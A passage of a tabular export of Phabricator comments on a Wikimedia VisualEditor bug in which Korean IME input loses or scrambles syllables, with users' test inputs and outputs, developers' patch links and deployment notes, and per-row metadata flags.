+resulted
+```
+크롬 윈도 7 39.0.2171.71 m
+```
+It omits first word (구글).
+Tested on Win7 32bit Chrome version 39.0.2171.71 m.",,,1418395634,,PHID-USER-mndznmqvm6ihjfmb6xap,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,75,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+341599,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Same here.
+```
+구글 크롬 윈도 7 39.0.2171.71 m
+```
+resulted
+```
+크롬 윈도 7 39.0.2171.71 m
+```
+It omits first sentense.
+Tested on Win7 32bit Chrome version 39.0.2171.71 m.",,,1418395428,,PHID-USER-mndznmqvm6ihjfmb6xap,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,75,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+341568,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Helo. It seems that finally most of Korean problems are solved.
+But one more problem is seen in VE.
+
+In the Windows 7 Chrome 64bit, when Hanguls first inputed and then spaced, the first word disappears.
+And this seems not results from IME.
+
+I input it Korean nalgaeset IME:
+Input : 날개셋 입력기로도 비슷한 결과가 나오는걸 보니 IME 문제는 애시당초 아니었겠습네다
+Output : 입력기로도 비슷한 결과가 나오는걸 보니 IME 문제는 애시당초 아니었겠습네다
+
+Anyway, thank you for your continuous effort.",,,1418391485,,PHID-USER-ipgdr6xrndwpztdrubk4,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,75,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,1,1
+341567,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Helo. It seems that finally most of Korean problems are solved.
+But one more problem is seen in VE.
+
+In the Windows 7 Chrome 64bit, when Hanguls first inputed and then spaced, the first word disappears.
+And this seems not results from IME.
+
+I input it Korean senaru IME:
+Input : 세나루 입력기로도 비슷한 결과가 나오는걸 보니 IME 문제는 애시당초 아니었겠습네다
+Output : 입력기로도 비슷한 결과가 나오는걸 보니 IME 문제는 애시당초 아니었겠습네다
+
+Anyway, thank you for your continuous effort.",,,1418391287,,PHID-USER-ipgdr6xrndwpztdrubk4,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,75,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,1,1
+340260,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,">>! In T52631#836024, @Revi wrote:
+> Hmm, while reviewing [[ https://ko.wikipedia.org/w/index.php?title=특수:최근바뀜&tagfilter=visualeditor | kowiki VE tag ]] , I find most edits have no problem.
+
+Yes, it's unclear right now which IMEs people are using and what their different impacts in VisualEditor are. It's possible that by now Korean works pretty well for the majority of users. We should follow-up with detailed automatic tests of each specific IME's functionalities so we can assess whether or not it works.",,,1418195999,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,75,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,1,1,0,0,1,0,1,1
+340259,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Hmm, while reviewing [[ https://ko.wikipedia.org/w/index.php?title=특수:최근바뀜&tagfilter=visualeditor | kowiki VE tag ]] , I find most edits have no problem.",,,1418195570,,PHID-USER-mndznmqvm6ihjfmb6xap,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,75,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1
+250886,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"I tried VE in [[en:User:Hym411/VETest]] with VE betafeatures enabled;
+
+Input: ""구글 크롬 안드로이드용 최신 버전""
+
+Output: See the page above. - ""국글 클롬 안들롱읻등용 쵯신 벚전""
+
+I used latest release of Google Chrome for Android.
+
+Also, comment 25 's 'backspace does not work' still happens to me.",,,1410701090,,PHID-USER-mndznmqvm6ihjfmb6xap,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,62,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,0,0,1,1
+250877,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Thanks very much for the video -- that's a great help!
+
+I agree about the events. Actually I think it's every browser/OS/IME combination, so it's really troublesome.
+
+As far as I can tell, there are actually two issues at the moment:
+
+(1) Entering Korean text into an empty paragraph, and
+(2) Entering Korean text into a non-empty paragraph.
+
+Your video shows that case (1) is still broken. In order to test (2), would it be possible to try typing ""hello"", and then start typing Korean immediately after the ""o"" (i.e. without starting a new line/paragraph)?
+
+I have done these sorts of tests, but I can't reproduce the behaviour you show in the video, presumably because of some slight difference between our test platforms.
+
+Thanks again!",,,1381353945,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,14,,1,0,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,1
+250867,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**heesub** wrote:
+
+(In reply to comment #34)
+> Would it be possible to test against current master? We believe that we have
+> fixed this (or, at least, change the behaviour) since you tested it with
+> cba2935 (thank you!).
+
+I've tested the latest version and uploaded a video clip which shows what is happening on VisualEditor with Korean characters. You can find the video on this link: http://youtu.be/-Q8n4vNONm0
+
+I am not a JavaScript or web programming expert, it seems that every browser out there has different behaviors on firing and processing compositionStart/End and keyDown events. Take a look at this document: http://joone4u.blogspot.kr/2010/07/composition-events-are-handled_27.html
+
+After digging this issue, I found some combinations which avoid this issue:
+ - Safari, Google Chrome (maybe every other browsers, but not tested) on Mac OS X. and change preference settings of Korean IME: set 'Input by' to 'Word' not 'Syllable' which is default.
+ - Firefox on Ubuntu
+
+Hope this helps!",,,1381297658,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,14,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1
+250860,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Would it be possible to test against current master? We believe that we have fixed this (or, at least, change the behaviour) since you tested it with cba2935 (thank you!).",,,1381268160,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0
+250854,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**heesub** wrote:
+
+(In reply to comment #32)
+> I am suffering from this issue, tested on the latest version from mediawiki's
+> core.git: 217fd43. The odd thing is that it seems to work properly on Firefox
+> which comes with Ubuntu 13.04 LTS distribution(, but not perfectly).
+
+I'd tested on VisualEditor.git: cba2935 and also with patchset v16 by David Chan. Not fixed.",,,1380390102,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,12,,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,1,1
+250849,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**heesub** wrote:
+
+I am suffering from this issue, tested on the latest version from mediawiki's core.git: 217fd43. The odd thing is that it seems to work properly on Firefox which comes with Ubuntu 13.04 LTS distribution(, but not perfectly).
+
+I've tried:
+* IE on Windows 7 : not working
+* Google Chrome on Windows 7 : not working
+* Google Chrome on Ubuntu 13.04 : not working
+* Safari on Mac OSX 10.8.5: not working
+* Google Chrome on Mac OSX 10.8.5: not working
+* Firefox on Ubuntu 13.04 : WORKING
+
+I hope this information help you guys so that it gets fixed.",,,1380388534,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,12,,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,1,0
+250843,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"(In reply to comment #30)
+> (In reply to comment #29)
+> > Marking this as ""FIXED"" on the expectation that it's fixed - please re-open
+> > if
+> > you find that it is still occurring.
+> 
+> I am sorry. It is not fixed.  I tested on mediawiki.org.
+
+:-(
+
+> I open it again.
+
+OK, we'll look at it urgently. Sorry for this.",,,1380074042,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,1
+250837,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**ryuch** wrote:
+
+(In reply to comment #29)
+> Marking this as ""FIXED"" on the expectation that it's fixed - please re-open
+> if
+> you find that it is still occurring.
+
+I am sorry. It is not fixed.  I tested on mediawiki.org.
+
+I open it again.",,,1380073592,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+250830,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Marking this as ""FIXED"" on the expectation that it's fixed - please re-open if you find that it is still occurring.",,,1378958879,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0
+250820,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:
+
+https://gerrit.wikimedia.org/r/#/c/82858/
+
+Please let us know whether it fixes the bug!",,,1378943135,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+250809,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**ryuch** wrote:
+
+(In reply to comment #26)
+> (In reply to comment #25)
+> > https://gerrit.wikimedia.org/r/#/c/79451 did not fix the problem
+> 
+> Just to avoid misunderstandings: How did you test this? Do you run a private
+> wiki with recent VisualEditor from git master?
+
+Not on a private one, I ran on  MediaWiki.Org, specifically on  [[mw:VisualEditor:Test]].
+
+
+
+> 
+> > I found another thing, when the cursor is after Korean letters backspace does
+> > not work.
+> 
+> Please file separate bug reports for separate issues. Thanks! :)
+
+I think the space problem is caused by this bug. I suppose we need to fix error  of synchronization between DM and CE.
+
+Thank you, too.",,,1377510579,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1
+250797,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"(In reply to comment #25)
+> https://gerrit.wikimedia.org/r/#/c/79451 did not fix the problem
+
+Just to avoid misunderstandings: How did you test this? Do you run a private wiki with recent VisualEditor from git master?
+
+> I found another thing, when the cursor is after Korean letters backspace does
+> not work.
+
+Please file separate bug reports for separate issues. Thanks! :)",,,1377508996,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1
+250787,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**ryuch** wrote:
+
+(In reply to comment #16)
+> I believe the following patch resolves the problem on those platforms where
+> there still was one: https://gerrit.wikimedia.org/r/#/c/79451 . At least, the
+> patch seems to fix the Korean ibus method on Ubuntu+Chromium. However it's
+> hard
+> to be sure because of the problems reproducing the bug.
+
+David,
+
+https://gerrit.wikimedia.org/r/#/c/79451 did not fix the problem even Chrome on Ubuntu, if the code is applied to MediaWiki.org as James said.
+
+I found another thing, when the cursor is after Korean letters backspace does not work.",,,1377501235,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1
+250778,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"(In reply to comment #22)
+> We can check on en.wikipedia or ko.wikipedia, only,
+> if the problem fixed.
+> 
+> So can you apply it on there?
+
+The code will be applied as part of the normal MediaWiki release cycle, which you can see here: [[mw:MediaWiki_1.22/Roadmap#Schedule_for_the_deployments]].
+
+This code is tagged against the release that happened this morning (""wmf14"") - this means that the code is available now on MediaWiki.org, and will be available on all Wikipedias (including the English and Korean Wikipedias) next Thursday, 29 August, at approximately 18:00 UTC.
+
+If you want to test and confirm the code, you can edit pages on MediaWiki.org like [[mw:VisualEditor:Test]]. Also, all code is immediately available on the ""Beta labs"" testing site, which can also be edited (note that it uses a different account system to production ""real"" Wikipedias): http://en.wikipedia.beta.wmflabs.org/wiki/VisualEditor 
+
+Hope this helps!",,,1377207897,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,7,,1,0,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+250770,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,Yes. All code in master is eventually deployed during our scheduled deployments. If you want to test the code ahead of the deployment you will have to check it out locally.,,,1377206906,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,7,,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+250764,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"We can check on en.wikipedia or ko.wikipedia, only,
+if the problem fixed.
+
+So can you apply it on there?",,,1377206495,,PHID-USER-ipgdr6xrndwpztdrubk4,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+250759,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"No, it hasn't been deployed to en.wiki yet.",,,1377206285,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+250753,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Sorry, but If you applied it on en.wikipedia. it yet not fixed.",,,1377205809,,PHID-USER-ipgdr6xrndwpztdrubk4,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+250748,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Given that this is now merged, I'm going to mark this as fixed. However, this is provisional - please re-open if you think that this has not worked!",,,1377202366,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+250744,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Change 80080 merged by jenkins-bot:
+Don't emit Surface changes back to the Surface
+
+https://gerrit.wikimedia.org/r/80080",,,1377164934,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+250738,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Change 80080 had a related patch set uploaded by Jforrester:
+WIP:Don't emit Surface changes back to the Surface
+
+https://gerrit.wikimedia.org/r/80080",,,1377027661,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250732,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"I believe the following patch resolves the problem on those platforms where there still was one: https://gerrit.wikimedia.org/r/#/c/79451 . At least, the patch seems to fix the Korean ibus method on Ubuntu+Chromium. However it's hard to be sure because of the problems reproducing the bug.",,,1376936141,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,1,0
+250726,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**ryuch** wrote:
+
+==Test Cases==
+
+글험 합니다. 다닏ㄴ합하험허시ㅅ (2013.8.14, Chrome of Windows XP)
+
+글 험 다. (2013.8.14, Chrome of Mac OS X)
+
+한글 시험 합니다. (2013.8.14, Chrome of Ubuntu, iBus 1.4.1)",,,1376553611,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+250719,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**ryuch** wrote:
+
+awesome. anyway.
+Please make it opt-in on KOWP.
+
+I will catch you guys at the lounge.",,,1376085848,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+250714,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,@Ryu not deliberately! Come to the VE lounge tomorrow (hackathon room) and speak to me and David.,,,1376070283,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,5,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,0,0,0,0
+250708,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,It also works on Chrome for WinXP/Win7/Android(though it is not supported).,,,1376067911,,PHID-USER-mndznmqvm6ihjfmb6xap,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,5,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+250704,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**ryuch** wrote:
+
+You fixed this? It works.
+
+http://en.wikipedia.org/w/index.php?title=User%3ARyuch&diff=567832037&oldid=567831839
+
+I tested with Chrome on Ubuntu at this moment.",,,1376063216,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+250700,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Now the problem seems something changed, but It is yet hard.
+
+I input '한글 결과는 언제 나오나요'
+
+but in the en wikipedia's visual editor @ chrome ,
+it have 'ㄱㅡㄹ ㅏㄴㄴ 제 오요나나제언ㅇㅏ결겨ㄱㅡ'.
+
